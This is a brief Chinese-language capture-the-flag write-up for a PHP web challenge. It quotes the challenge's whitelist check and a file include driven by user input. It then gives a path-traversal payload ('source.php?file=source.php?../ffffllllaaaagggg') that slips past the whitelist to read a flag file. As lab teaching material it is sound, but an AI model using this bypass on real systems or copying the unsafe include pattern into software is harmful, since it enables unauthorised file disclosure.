一张滑稽图,f12看源码,
发现有个php,访问一下发现一大串php代码
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
看到可利用的点就是这里,白名单的值为source.php和hint.php
flag not here, and flag in ffffllllaaaagggg
然后再访问一下hint.php,可以知道flag在ffffllllaaaagggg目录下
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
上面说如果page变量为空的话,或者page变量不是字符串的话,则为false
如果page变量在白名单,则为true
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
if里的第一个判断是判断它接受的是否为空,第二个是判断是否为字符串,第三个将它传给函数check File。都满足后传给函数checkFile.否则打印图片。
然后构造source.php?file=source.php?../ffffllllaaaagggg
第一次跳转没有变化继续下一层,多试几次就ok
第五次可得